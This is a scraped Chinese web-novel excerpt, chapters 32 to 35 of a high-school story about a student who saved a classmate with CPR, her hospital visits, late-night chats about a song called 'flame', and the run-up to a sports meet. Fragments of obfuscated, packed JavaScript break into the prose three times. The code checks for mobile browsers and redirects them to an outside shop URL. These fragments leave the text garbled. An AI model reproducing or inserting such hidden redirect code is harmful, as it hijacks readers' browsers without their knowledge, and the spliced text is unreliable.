迎面驶来的车辆上明晃晃的灯光刺痛了坐在副驾驶的季知节的眼,让人恍惚。 司机按了两下喇叭,破口大骂:“这个点开远光灯有病吧。” 骂完之后也忘了自己说过了什么,只余季知节对着窗外的景色发着呆。 ——— 四个人在心内科的住院楼层看见郑淼时,都没想到居然会这么轻易地就找对了地方。 也正是愣神的一下,很快就被郑淼发现了。 “老师好。”几个人你推推我,我撞撞你,最后季知节尴尬地站到了前面,乖巧问好。 “你们怎么来了?”郑淼脸上带着显而易见的疲惫,询问道。 季知节简直头疼,说好了不要被发现不要被发现,结果还没一分钟就被抓了个现行。 考虑着是要说实话还是要编一些现在看来丝毫没有可信度的谎话,但一个字都没说出口,就被打断了。 “郑老师,这是安安的同学吗?”男人看上去大约四十上下,发间隐隐有着白丝,看上去十分和蔼。 郑淼犹豫了一下,向男人介绍道,“这是陈静怡,安安的好朋友。” 男人恍然大悟,“我知道,安安经常和我们提起你。” 陈静怡不好意思地笑了笑。 “这些是隔壁班的孩子,于落落、张镜,还有……季知节。”郑淼看向男人,“安安的心脏复苏就是季知节做的。” 男人忽然愣住,眼中的光闪烁着,颤抖的嘴唇说不出一句话,只是望着季知节不住地点头。 “叔叔……”季知节看着神情激动的男人,没忍住上前了一步。 一声叔叔仿佛唤回了男人的灵魂,也唤来了男人的眼泪。 季知节看着这个和自己父亲差不多的男人、看着这个哭得犹如孩子般的男人,只觉得心中难受。 “孩子啊,谢谢你啊……”男人抹着眼泪,眼睛通红,“如果不是你……如果……我……” 男人不愿去设想那般可怕、令人绝望的未来,眼前不过十来岁的少女在他眼中犹如神祇,千言万语都道不出他的感激。 “我嘴笨,不会说话,我让她妈妈过来。” 不等季知节阻拦,男人就匆匆跑开了。 郑淼看着男人匆匆离去的背影,闭了闭眼,声音沙哑:“医生说,还好没有错过抢救的黄金时间,不然真的可能……” 吸了吸鼻子,郑淼拍了拍季知节的肩膀,“让他们谢吧,不然他们不会安心的,他们就安安这一个女儿。” “安安现在精神不太好,应该是又睡了,我带你们悄悄看一眼,然后你们就回家,别太晚了。” 32. 第 32 章 给知知: 展信佳! 贸然提笔,一时间居然不知道该如何称呼,甚至不知道这份信是写给现在的你还是十年后的你,一场特别的恩赐扰乱了时间,让我们难分彼此。 但是我知道,这封信的收件人,是你,准确来说,是25岁的你。 你曾经一度不清楚自己未来的方向,你被父母半推半就地决定了人生,你因为自己活得庸庸碌碌而感到自卑,你甚至开始讨厌起学着不喜欢的专业、做着不喜欢的事情的自己。 甚至于,你觉得如果可能的话,这辈子都不要踏入医院就好了,你真的是烦透了查房换药听病人唠叨。 但是,你有认真学习真的太好了。 其实在医院里遇到过的事故实在不少,本以为我们都习惯了世事无常,但是安安倒下去时,无法感受到脉搏和呼吸时…… 你能记得该怎么做真的是太好了。 虽然很多人都说什么医护人员是白衣天使,但你真的没有这么高的觉悟,每天上下班都是觉得像是在渡劫,医院就是你的刑场。 但是今天在医院看见躺在那的安安,看着满脸泪水又充满感激的叔叔阿姨,我忽然该死地感激那段灰暗无光的岁月。 因为那终究成了我的力量。 给了我改变命运的机会。 我不知道今天,偌大的操场上是不是还会有第二个人站出来,但是如果没有,你也没有站出来,我想这辈子,你都无法原谅自己。 出租车上,司机师傅问我,是不是想要当医生。 如果没有那个远光灯,我会怎么回答呢? 不知道也没有关系,就这么走吧。我们终究在成长着。 每一段经历、每一段时光,哪怕你不喜欢,也请认真对待,它们都会成为我们为之骄傲的宝藏。 季知节放下笔,看着这封简短的、不知所云的信,思索良久,最终带着信推开了房间的门。 房门外已经一片漆黑,靠着从房门里漏出来的一点点光,季知节向厨房走去。 “会不会有点不吉利啊……”季知节低声念叨着,但还是打开了煤气灶上的火。 橙蓝相接的火焰猛然升高,吞噬着这小小的一张纸,炽热的火焰差点灼烧到季知节的手指,季知节果断松开手,任凭这封信化为灰烬。 有些枯焦的温度逸散出来,季知节偷偷摸摸向父母的房间投去视线,确认没有惊动他们,才悄悄松了口气。 季知节很难概括自己此刻的心情,从医院回来之后,就陷入一种奇怪的漩涡。 医院的味道还是一如既往的难闻,刺鼻的消毒水味、病人难耐的呻吟、护士急匆匆的脚步声、还有催命符般的铃声…… 身上的校服仿佛都变成了纯白色。 是真的令人烦躁,感觉下一秒就要收拾收拾上班了。 季知节以为自己已经看惯了医院里上演的各式情节,但是当看到病床上闭眼躺着的、穿着不合身病号服的女孩时,依旧感到了痛苦和难过。 安安的妈妈一直握着季知节的手,絮絮叨叨地说着感谢的话,眼神却没有离开过病房里的安安。 一个人的眼泪原来会有那么多,季知节听着女人的自责、痛苦、和痛惜,无法说出一句话。 可偏偏也是这个看起来濒临崩溃的女人,在接到郑淼的电话后,有条不紊地找出女儿的病历卡和医保卡,带着丈夫来到医院,全程待命,到现在水都没喝过一口。 也是这个女人,在最后笑着送她们出了医院,还细细叮嘱她们回家路上要小心。 然后,季知节对医院的印象就变成了一张布满泪痕的笑脸。 仔细清理好台面,季知节又摸回了房间。 好不容易写完的作业还留在桌面上,但季知节清楚今天作业的正确率完全无法保证,更别说去写课外习题了。 更没有睡觉的心情。 季知节拿过手机躺在床上无所事事地胡乱刷着,但是却丝毫不见睡意。 沈瑜:【还没睡?】 季知节看着忽然弹出来的消息,脸上诧异。 季知节:【你怎么知道?】 过了一会,沈瑜发过来一张截图,是朋友圈的加一提醒。 沈瑜:【你是不是不小心点到赞了,周博承骂人那条动态。】 季知节:…… “你这个手真的是……”季知节拍了一下自己不争气的手,摸到朋友圈取消了点赞。 沈瑜:【不喜欢点赞吗】 季知节:【一点点吧,感觉一点都要点,有点懒得点,所以干脆都不点了】 沈瑜看着许多点,不禁笑出了声:【你在说绕口令吗】 季知节回了个理直气壮的表情包。 对话框一时没了动静,季知节顿了三秒,刚打算退出对话框,就看见对面发来了消息。 沈瑜:【睡不着吗?】 季知节看着屏幕上的小小键盘,犹豫了一会,还是如实回答:【有一点】 看着对话框里弹出来的消息,季知节惊讶地睁大了眼睛。 沈瑜:【想听歌吗?我写的。】 还没等季知节回答,屏幕就接连弹出了好几条消息。 沈瑜:【其实还没写完,只是曲子而已】 沈瑜:【挺适合催眠的】 沈瑜:【你听了也可以给我提提意见】 沈瑜:【行吗】 沈瑜坐在椅子上,有些紧张地看着没有动静的聊天界面,又补了句:【我总感觉写得不是特别好,你从旁观者的角度听听没准能有好意见。】 季知节看着沈瑜前言不搭后语的聊天记录,把那句写得不好还能催眠从聊天框里面删除,换了句话:【我只是个普通听众,不一定能提出什么意见哦】 沈瑜看着明显有些松口的语气,愉快地回复:【歌曲和听众都不该有高低之分,每个人都能有自己的见解,只是单纯的好听和不好听对我来说都是很珍贵的意见了】 季知节看着屏幕撇了撇嘴,自言自语:“这个人真的很会说一些看起来很帅的话啊。” 季知节戳了戳手机屏幕:【歌叫什么名字啊】 没准是我听过的呢,哼哼,你发表出来的歌应该才是你满意的版本吧,我倒要看看是哪首歌! 沈瑜看了眼排列整齐的文件夹,垂眼打字:【《flame》】 【这首歌的名字叫《flame》】 季知节:…… 女孩难以置信得看着歌名,满头问号。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505473|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这首歌催眠?谁疯了这是…… 季知节确实是听过这首歌,《flame》甚至称得上是沈瑜的代表作之一,以欢快热烈的吉他和鼓点演绎而成,背景时不时还有烟花炸开的声音。 简而言之,压根不适合催眠。 以至于这首歌虽然在季知节的歌单里面,但是季知节在大部分情况下都会直接切过去,因为太欢快了,在平时不符合打工人的心情,在假期又不适合摆烂人的心境。 季知节觉得音乐人对于催眠的定义可能和自己不一样,但又不能说自己听过了现在不想听,只能视死如归地看着发过来的音频,默默翻出了耳机。 明天要是迟到了就都怪他!季知节愤愤地想。 “嘀” 一声清脆的水滴的声音,随后钢琴声响了起来。 这个水声……季知节怔愣,再次确认了一下歌名,还有,《flame》里面,有以钢琴作主旋律的段落吗? 但是《flame》这首歌对于季知节而言确实有点久远,按下疑惑,季知节屏息听了下去。 该怎么形容这段旋律呢? 季知节听见了万物复苏的声音。 作为主旋律的钢琴声舒缓而坚定,从中间插入的小提琴、大提琴等各种声音包围着钢琴,却不显喧宾夺主,而后背景音响起缓慢而悠长的吟唱。 短短的几十秒之中出现了无数种声音,有季知节能听出的乐器,也有季知节无法辨别的,有只出现了刹那的,也有贯穿了始终的。可如此丰富的编排却丝毫不显凌乱,从开始一直弹奏到结尾的钢琴温柔又绵长。 仿佛自水声后,万物盛开。 季知节呆呆地听着这短小的音频,不知为何想到了春天。 一滴水落入湖泊,之后的淅淅沥沥的钢琴声犹如一场春雨,唤醒无数鲜花与生灵,有些也许明天就要凋谢,有些或许过着生命中的第一个四月,可生命啊,争相灿烂,最终成为绚烂夺目的春。 沈瑜:【这只是这首歌的bridge,也就是桥的部分,可以说是过渡那种】 沈瑜:【你觉得怎么样】 沈瑜很早就有了把《flame》改编一下的想法,他有些后悔只用热烈这一个词来形容一个人,人怎么是能用短短两个字来概括的呢?可要用什么来形容她呢? 诚然她有着热烈的赤子之心;但她也是敏感的,有些时候有些心事重重;她是善良的,会感念每一个的美好,她更是倔强的,坚守自己的底线;甚至还有点幼稚。 种种特质混杂在一起,形成了一个独一无二的她。 就当沈瑜以为这是个无解的题目时,碰上了这样的事情。 沈瑜又见到了不同面貌的她。 痛苦的、悲伤的、却毅然决然斗争着、反抗着的她。 沈瑜听得见,女孩隐藏在一次次按压下的哽咽与嘶吼,也看得见送走张安安后女孩那几乎无力的双臂,最终救护车的鸣笛声如一道惊雷划开沈瑜的大脑,带着被抢救回的生命。 这是鲜活的春天啊。 “好雨知时节,当春乃发生。” 你看,连名字里都带着春天的人,又怎么会被区区几个词局限。 又怎么会向既定的命运屈服。 33. 第 33 章 怎么样? 季知节听着和自己印象中截然不同的《flame》,半晌才回复。 季知节:【看名字我以为会是一首很欢快的歌】 季知节:【感觉和名字很不搭,不过很好听,我不知道该怎么形容,但是我很喜欢!】 沈瑜反复打开关上聊天框,终于收到了季知节的回复,看到很喜欢三个字终于松了口气。 沈瑜:【整体确实是一首很欢快的歌啦】 季知节眼疾手快:【所以整首歌已经写出来了是吗!】 沈瑜看着电脑文件夹,面不改色:【还没呢,只是初步构想而已】 季知节抓狂:【这和说故事只说一半有什么区别!】 沈瑜脸不红心不跳的扯开话题:【那如果让你给这首歌取名,你觉得叫什么好啊】 沉默了一会,季知节又点开了那个音频,在乐声中,女孩缓缓敲出六个字母:【spring】 沈瑜有些失神地看着出现在屏幕上的单词,有些释怀地笑了:【可我还是想继续叫《flame》怎么办诶》 季知节:【……】 季知节:【你逗我呢!】 季知节:【你的歌你想叫啥就叫啥!】 季知节:【你的歌一点都不催眠!我要睡觉了!】 沈瑜看着哐哐哐弹出来的消息和感叹号,笑得像只偷腥的猫。 沈瑜:【晚安】 以为会没有了动静的聊天框过了一会又弹出来两个字。 沈瑜动动手指,“咔嚓”一声,理直气壮地截了个屏。 虽说这首歌确实和催眠搭不上关系,但是说完晚安放下手机的季知节倒是很快就睡着了。 等季知节再次睁眼,已经到了上学的时候了。 季知节对于到校时间并不强求,等到女孩到了教室时,不提一向来得早的沈瑜张镜,连张嘉欣梁子笑于落落也来了。 看着自己空空荡荡的座位,季知节冒出了也要早到的念头,众所周知,内卷就是这么形成的。 摇摇头甩掉脑海里可怕的念头,季知节笑着和几人打招呼,还隐晦地瞪了一眼笑得开心的某人。 张嘉欣乖乖说了句早上好,温声提醒道:“你一会记得把罚抄交给我哦,莉姐早读要检查。” 季知节房书包的动作一顿,一双眼睛眨呀眨。 张嘉欣陡然生出不好的预感。 “……”季知节看了眼今天穿的卫衣,欲哭无泪,“本子在校服里面了。” “校服呢?”张镜撑着脑袋嘲笑道。 “在椅子上。”季知节顿了顿,“家里的椅子。” 于落落噗嗤一下笑出声:“那你还不赶紧抄。” “50遍,400个字。”张镜算了算,“再加100标点符号,努努力还能在早读结束之前交出来。” “别忘了收作业啊小组长。”于落落在一旁煽风点火。 “……你们完了。”季知节慌忙翻找着新本子,用眼神凌迟着两个女生。 一中每学期开学都会发许多自己印刷的本子,从大到小,从厚到薄,数量和种类之多令人咋舌,甚至于每次都会多出许多被拿来当草稿本,季知节通常都会放在家里,包里带着几本备用。 但是昨天罚抄用了最后一本,回家又忘了补充,实在找不到第二本新本子。 “给你。”沈瑜不知何时已经翻出了一本本子,递给了着急忙慌的女孩。 “!”季知节充满感激地接过本子,“感谢有你!” 顺便还瞪了两眼看热闹的朋友,转头就开始补作业。 于落落若无其事地把抽出来的本子塞了回去,感叹了一把同桌的手速之快,又深觉自己受了一波无妄之灾。 张嘉欣默默转头,打算一会儿晚点交罚抄,就看见旁边的梁子笑拿了本英语单词在背。 “今天是语文早读。”以为对方记错了,张嘉欣小声提醒道。 没料到梁子笑相当理直气壮:“我知道,但是这是我超过季知节的好时机,不能浪费。” 季知节笔迹潦草地默写完第一遍,冷笑一声:“你做梦。” “哼。”梁子笑不甘示弱,丝毫不理会季知节的嘲讽,自顾自地背单词。 张嘉欣:…… 我就多余说这一嘴。 嘲笑归嘲笑,收作业的时候于落落和张镜还是帮了忙,早读课又时不时帮忙盯梢,季知节紧赶慢赶,总算是在早读结束之前把罚抄补完了。 “……我的一世英名。”季知节甩着手,目光呆滞地跟着大部队站到了操场上准备早操,“还好今早上李老板没怎么巡逻。” 张镜言简意赅:“你没有这玩意。” 季知节:…… 要不是因为要做操,我高低揍她一顿。 季知节偷偷翻了个白眼。 但是广播里传来的却是试音的声音,二不是熟悉的音乐声。 李化腾站上了主席台。 季知节忽然心有所感。 早操环节被取消了,李化腾用了一整个大课间的时间来强调学生的安全问题。 学校的医务室加强了管理,增加了校医的数量,转变成了轮班制,确保只要有学生在,就有校医在。 学校的急救设施也会逐步增加,AED会在体育馆等地提供,会选择时间进行急救知识的宣讲,增加每个人的知识储备。 各班老师要加强对学生的观察管理,认真倾听学生的话,所有的事情要量力而行。 不舒服及时反应,把自己的身心健康摆在第一位。 “同学们,没有人比你们更重要。”李化腾站在主席台上,言辞恳切。 不是所有人都知道这件事的详细情况,但几乎所有人都听见了响彻云霄的鸣笛声。 昨晚对于一部分家长以及学生来说,都是个难以入眠的夜晚。 身为老师以及管理层的李化腾收到了不少询问甚至指责的声音。 即使负责面试的不是他,他也认为自己有所失职,在反思之余,他想了许久,连夜总结自己认为该改进的地方,早上早早到校和领导沟通确定。 即使还有所欠缺,他也会慢慢补足,就像他说的,孩子们永远最重要。 “……措施做得好快啊。” 不做操的大课间还能有一点休息时间,几乎所有人都凑在一起讨论晨会上发生的事情。 于落落想起一脸严肃的李老板:“他该不会是一晚上都在想这个吧。” “估计是的。”张镜想起昨晚很晚才到家的妈妈,“高三组的老师都被拉去开会了,我妈很晚才回来的。” “感觉像是在乌托邦一样。”季知节靠在椅背上,有些感慨,“人性化得有些不习惯了。” “以学生为本的这种思想,忽然觉得百年名校有了实感。”沈瑜学着季知节的样子,懒散地靠着,自然而然地插入其中。 “李老板说没有人比我们更重要的时候,我差点哭了。”季知节长叹一口气,“怎么能这么帅,我要当他一辈子的学生。” 张镜冷笑一声:“又不是你觉得数学作业难的时候了?” 季知节:“……不拆穿,我们还是好朋友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516407|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于落落幸灾乐祸,“当三年就够了,我可不想毕不了业。” “一辈子的学生也不是不行,我们毕业之后可以再回来看看他。”沈瑜不动声色找补,“听说李老板在一中教了十几年书了,以后应该也会在。” 有人认同,季知节顿时挺直了腰,“就是啊,一日为师终生为师,我们毕业了又不是不能回来。” “高一上学期期中都还没到,你们就想着毕业的事情了啊。”张镜挑眉,在一字上加了个重音。 “高二还有个分科呢。”周博承探过脑袋,不开心道,“我肯定是要学文科进艺体班的。” “我也是啊!到时候咱俩继续做同学。”于落落转过头和周博承击了个掌。 “我大概也是学文的。”张镜推了推眼镜,“对文科比较感兴趣。” “我也想学文。”不知什么时候转过头的张嘉欣也加入讨论,“但我爸妈可能会让我学理,我一定都不喜欢理科。” “我要学理。”忍不住说话的梁子笑异常坚定,“真男人就该学理。” “……你好神经哦。”于落落实在忍不住,隔着两个人都要怼过去,“学文学理和男女有什么关系啊,我爱学啥学啥。” “本来就是啊,男生学理就是有优势啊,而且理科好找工作。”梁子笑一脸理所当然,“我妈说的。” “那你理科又考过张镜了?”于落落挑眉。 梁子笑想起班长非人般的成绩,摸摸鼻子,刚想开口,就又被于落落打断了。 “你英语也没考过知知。” “请问你的优势在哪?在妈妈吗?”于落落一脸真诚,“你是妈宝男吗?” 梁子笑一张脸急得通红,但是却一句反驳的话都说不出来。 顿了三秒,果断转过头去开始刷题,但下笔的动作却犹豫了很多,不知道在想些什么。 季知节看着怼得身心舒畅的于落落,暗戳戳道:“只要不遇到镜子,落落怼人的功力就直线上升。” “怼得好。”沈瑜默默比了个大拇指。 “不怪我啊。”于落落觉得自己很冤枉,低声道,“他这个人挺好的,就是真的有点欠怼。” “有一种被保护得太好的感觉。”张镜总结,“往好了说不谙世事,直白一点就是有点自我。” 季知节看着一针见血的张镜,没忍住赞叹,“真会说。” “我听得见……”梁子笑在前面默默道,“你们背后骂人能不能小声点。” “嗐。”于落落摆手,“就是让你听见的,你不听见怎么改。” 梁子笑又被噎了一下,实在没忍住又回过头:“你们认真的?” “昂。”于落落抬着脖子一脸理直气壮,“都说了你人挺好的,再好一点就更好了。” 梁子笑难以置信地眨了眨眼。 他是知道的,自己的不讨喜。 过强的胜负欲、不中听的说话风格都让他在人际交往中处于劣势。 “你老是盯着我的成绩你烦不烦?” “你讲话好难听,我懒得理你。” “你能离我远点吗?” …… 他也曾为此苦恼过,他哭着和妈妈说没有人和他一起玩、他是不是个坏孩子的时候,妈妈抱着他,告诉他,他是个很棒的孩子,只不过还需要成长。 他对妈妈的话深信不疑,但丝毫没有正反馈的日子让他开始怀疑自己。 他看着一脸认真的于落落,又看了看张镜和季知节,再看了看张嘉欣、沈瑜、周博承、陆谦。 忽然,铃声响了。 34. 第 34 章 她们好像认真的。 转过头的梁子笑心想。 没有一个人在嘲笑在讥讽,只是很平静地说出了问题,虽然方式有点神奇,但是梁子笑并不觉得冒犯。 好吧,没准有道理呢。 第一节课是数学课,李化腾站上了讲台。 不同于以往直奔主题的上课,李化腾站在教室前方,视线从每个人身上划过。 “虽然所有的话已经在晨会上面讲过了,但是我还是要重复一遍。”李化腾语重心长,“所有的人都要把身体摆在第一位,身体才是最大的本钱,正值换季,哪怕是小感冒都不要忽视。” 亲眼看见每一个学生点头,李化腾才放下心来,开始说第二件事。 “昨天的事情我们不能到处宣扬,但是作为知情者的我们还有一件事情不能忘记。”老师的目光落在了一名女孩身上。 “我只是个普通人,没办法代表任何一方,所以我仅代表我自己,对你表示感谢,谢谢你及时伸出援手,挽救了一条生命、一个家庭。” “谢谢你,季知节同学。” 难以形容李化腾此刻的目光,似欣慰又似骄傲,位于视线中心的季知节慌忙站起,有些局促地看向老师。 “不,我只是做了,”季知节顿了一下,“做了我该做的事情。” “善良勇敢的行为需要称赞。”李化腾略有些不赞同,随即率先鼓起了掌。 霎时间,季知节淹没在了掌声的海洋。 再然后,沈瑜就见到了一个连耳根都红透了的脑袋。 有点可惜,看不见正脸诶。 沈瑜鼓着掌心想。 没当事情发生时,没有人是抱着会得到夸奖和回报才站出来的。 但这并不意味着不需要肯定与赞扬,不要轻易把他人的善良当成理所当然,善良在某种程度上应该被明码标价,即使只是一句谢谢。 季知节花了十来分钟才把自己从称赞的漩涡中脱离出来,静下心来定睛一看。 哦豁,完大蛋,在讲新课诶。 季知节摸了一把忽然有点陡然凉透了的心,不敢再开小差。 “救救我!”下课铃一响,季知节就把数学书推到了张镜桌上,“刚刚这个地方我没听到!笔记给我看一下!” 张镜默默把自己的书连带着季知节的书推了回去,“别碍着我写作业。” “嘁,冷血无情。”季知节控诉着。 “唰”的一下,张镜就把自己的书拿回来了,“你提醒我了,我是个冷血的人。” 季知节:…… “要用我的吗?” 季知节闻言正想答应,却发现声音不是从后方传来,而是从前面发出的。 一本书被递了过来,季知节对上梁子笑波澜无惊的脸。 “……啊。”季知节条件反射地接过书,就看见梁子笑迅速转了回去,生怕季知节反悔。 季知节瞥了一眼看好戏的张镜,只得低下头补笔记。 “哇哦,慢了一步呢。”于落落挤眉弄眼地看着手已经搭上书的同桌。 沈瑜面不改色地把书收回抽屉,“whatever,我数学145。” “你要把成绩写在你的个性签名里面吗?”于落落好奇,“万一别人把这个当作你的身高怎么办?” “……” 季知节抄完一个公式,低声和张镜说话:“落落今天攻击力怎么这么高。” 张镜比了个嘘声的手势:“估计是昨晚上看了什么电影。” “我听见了……”于落落戳了戳前排凑到一起的两个脑袋,“在我眼皮子底下说悄悄话,你们干脆开卷考试算了。” “……” 两人默默分开。 ——— 于落落的高强攻击力持续到今天放学。 三个人站在校门口准备各回各家时,张镜和季知节都松了口气。 于落落毫无自觉,骑着小电瓶就要回家补昨天晚上没上的课。 季知节很喜欢放学的这个时间段,虽然是人流量的高峰期,但是这个黄昏时刻的天空实在美丽。 离家的距离越来越近,季知节踩着踏板的速度却越来越慢,在经过一个十字路口的时候,季知节握住把手,调转了方向。 季知节也不知道为什么今天还是来了这里,还是一个人。 看着这栋高耸冰冷的建筑,季知节深吸一口气,抱着手中的东西,迈步踏入了这曾经困住她的地方。 张安安住的并不是单人病房,一间病房里四张病床,连着陪护的人,本就不大的病房更显拥挤。 当背着书包拿着东西的季知节出现在病房门口时,显得相当突出,张安安一眼就认出来了。 季知节迎着女孩惊喜的目光走到床边,笑着向张安安和还陪着在床边的女人打了个招呼。 “你来就来,还带什么东西啊。”女人有些嗔怪地看向季知节。 季知节把手上的水果放下,“本来昨天就该带的,但是来得急,没准备。” “你这孩子太见外了。”女人佯装生气,“本来就应该让我们给你送东西。” “阿姨您可别折煞我了。”季知节讨饶,“我就是来找安安玩的。” 女人看了一眼躺在床上满眼期待的女儿,笑了一下,示意季知节坐下:“我去看看她爸在干嘛,你们多聊聊啊。” 走之前还把床帘拉上了。 季知节乖巧点头,目送着女人出了病房门。 两片蓝色的帘子隔出一小片天地,张安安半躺在床上,半升起的床使得女生能和面前的人对视。 “你好呀。”张安安看着面前还没开口的女孩,捏了捏被角,率先开口道。 季知节噗嗤一笑,坐到椅子上,调侃道:“我们要从这么生疏的环节开始吗?” 眼看着女孩笑了,张安安也有点不好意思,松开了手,试图去拿桌上的橘子,“吃橘子嘛?” “可以给我个大的嘛,我超喜欢吃橘子的。”没有阻止女生的动作,季知节只是把装橘子的袋子往床边推了推。 张安安欣然答应,“一袋子给你都行。” “连吃带拿的不太好吧。”季知节装作犹豫的样子,“走的时候给俩就行。” 张安安笑眯眯地翻出最大的橘子,“没问题。” 两个班在一起上课,自然不会有多生疏,但是张安安实在没想到两人会有这般熟稔,比起季知节,张安安要对于落落更熟悉一点,但是季知节这样毫不见外的态度嚷人放松不少。 张安安心满意足地看着季知节开始剥橘子。 “你昨天是不是也来了呀。”张安安看着橘子被分成一瓣一瓣,慢吞吞开口道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529503|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季知节细心地把橘络也分离干净,塞了一瓣到张安安手中。 “我们都来了,陈静怡、张镜、于落落。”季知节想起陈静怡昨天着急的样子,笑了一下。 “今天放学的时候,我们班长也来了,好多人都来了。”张安安指着桌子上放的东西,“有些就是他们送的。” 张安安顿了一下,突然道:“对不起。” 季知节剥橘络的手一顿,看向突然道歉的女孩,“没关系。” “诶?”张安安一愣,“就这样吗?” “昂。”季知节塞了一瓣橘子到自己嘴里面,感受着果粒爆开放入酸甜味,快乐地眯了眯眼睛,“你为什么道歉啊?” “你不知道还说没关系吗?”张安安有些不理解,看着一脸幸福的女孩,忽然觉得自己是不是太小题大做了。 “因为真的没关系啊。” “你向我道歉是因为你觉得你做了些不对的事情吧,但我完全没有感觉到啊,所以我的回答是没关系。” “所以你为什么想要道歉啊?”季知节一脸好奇,“其实对不起,我更喜欢听见我爱你、辛苦啦这种话。” “感觉说的人和听的人都会很开心啊。” “之前我有一次就惹落落生气了。”季知节想到了那天和朋友在厕所的道歉,皱了皱鼻子,“我感觉比起对不起她好像更喜欢听后面的我喜欢她,虽然我也更喜欢说我爱她啦。” 看着逐渐跑题的季知节,张安安内心自己大题小作的感觉越加明显,想好的道歉的话似乎一时说不出口了。 “就是……”张安安眨了眨眼睛,“就是昨天倒下来,感觉会吓到你,所以想说对不起。” 没想到是这个回答,季知节惊讶:“为这个?” 看着女孩不似作假的脸色,季知节突然笑出了声:“你该不会,对着今天来看你的每个人都说了对不起吧。” “……”虽然没有对着每一个人说出口,但是也确实向同学们说了类似于抱歉这样的话。 一看张安安的表情,季知节就知道自己说中了,实在没忍住摸了一把女孩的脑袋:“你也太可爱了吧。” 张安安捂着被摸过的地方有些发懵,就听见季知节说道:“对于这件事你与其向我们说对不起,不如夸夸自己。” “我们安安,又平安地长大了一天呢,真的是太棒了。” —— 季知节出门的时候,正好碰上回来了的夫妻俩,婉拒了叔叔阿姨请吃饭的好意,季知节飞速跑向电梯。 夫妻俩只得走进病房回到女儿身边。 “爸爸妈妈。”张安安看着回到自己身边忙前忙后的人,突然开口道,“我爱你们。” 女人的手一顿,双眼酸涩,轻轻抱住女孩,低声道:“爸爸妈妈也爱你。” 男人背过身去抹着眼泪,哽咽着附和。 看着爸爸妈妈忙着布置饭菜,张安安从枕头底下抽出一本书。 “水果是送给你和叔叔阿姨一起吃的。”季知节打开书包拉链,“这本书是送给你。” “文学作品太长啦,这本漫画书就刚刚好,等你看完了,我们就能在学校见面了。” 张安安想起女孩充满朝气的话语,仔细摩挲着书的封面,没忍住红了眼眶。 浅紫色的封面上写着《只有春天和爱允许入内》。 35. 第 35 章 当张安安带着已经读完的漫画书踏入校园时,女孩明显地感觉到,空气中都充满了热血的味道。 “哟,安安早上好啊。”林子期看着踏入教室的女孩,相当爽朗地打了声招呼。 自然的态度让张安安觉得自己似乎从来没有离开过,被笑容感染,张安安也抬起手挥了挥。 许久未见带来的焦虑和忐忑在一声声招呼中消失殆尽,张安安坦然地面对着每一份善意和爱,并将其记在心底。 “诶,你知道他们在说什么吗?”陈静怡放下书包就凑到张安安身边,指了指凑在一起的林子期等人,一脸神秘。 张安安并没有在医院住很长时间,病床紧俏,医生宣布没有大碍之后,张安安就拎着东西出院了。 但父母还有点不放心,于是在家里多呆了一段时间,陈静怡和几个同学约好,每隔几天就带着作业笔记以及八卦去探望一次。 最近一次是两天前,也正是在那天,张安安告诉朋友们她即将返校的消息。 憋了两天八卦没有说,陈静怡一看到张安安,就很快窜了过来。 张安安看着满脸写着快问我快问我的女孩,十分配合:“他们在说什么呀?” 陈静怡压低声音:“体委他不是谈恋爱了嘛,想在运动会上面出风头,现在在打听和他报了同样项目的都有谁,准备在把握最大的项目让他女朋友来看。” “他报了他的训练的项目对吧?” “对,主攻跳高,还报了个100米。” —— “那他真的是想太多了。”周博承打发走探听敌情的朋友,回到座位笑得欠揍,“跳高从初中就没赢过我,现在也不可能,100米虽然我和他五五开,但是楼上有个100米专项的,他还不一定跑得过人家呢。” “那你100米不是也跑不过楼上那个吗?”沈瑜嘲笑道。 “所以我压根没报100米啊。”周博承面露得意,“我报了400米。” 沈瑜一言难尽地看了一眼门口的方向,“那你从报名那天就说你报了100米,刚刚也是这么和那个人说的。” “我这叫无中生有、暗渡陈仓、声东击西,你懂什么。”周博承理直气壮,“我是去拿分数的,肯定要挑有把握的啊,最好所有的体特都扎堆去100米和200米,400米的分数我就收下了!” 沈瑜:“……你最近难道在看《三十六计》吗?” “明明是缺心眼子。”于落落点评道。 张镜敲了敲于落落的桌子,唤回几人注意力,目露无奈:“所以口号有想法了没。” “我已经被榨干了。”季知节眼光呆滞,趴在了沈瑜的桌子上,“邪恶的甲方,都给我去死。” 于落落同情一秒,随即幸灾乐祸:“我可是运动员,这些不该是你们后勤管吗。” “什么运动员,铅球运动员吗?”季知节皮笑肉不笑。 “……” 在汇总报名表的时候,李化腾发现个别几个人只报了一项,大手一挥,在班上开启抽签模式,美名其曰:要摆正态度。 没必要拿名次,但是每个人两项的名额要满。 显而易见,于落落喜提铅球一枚。 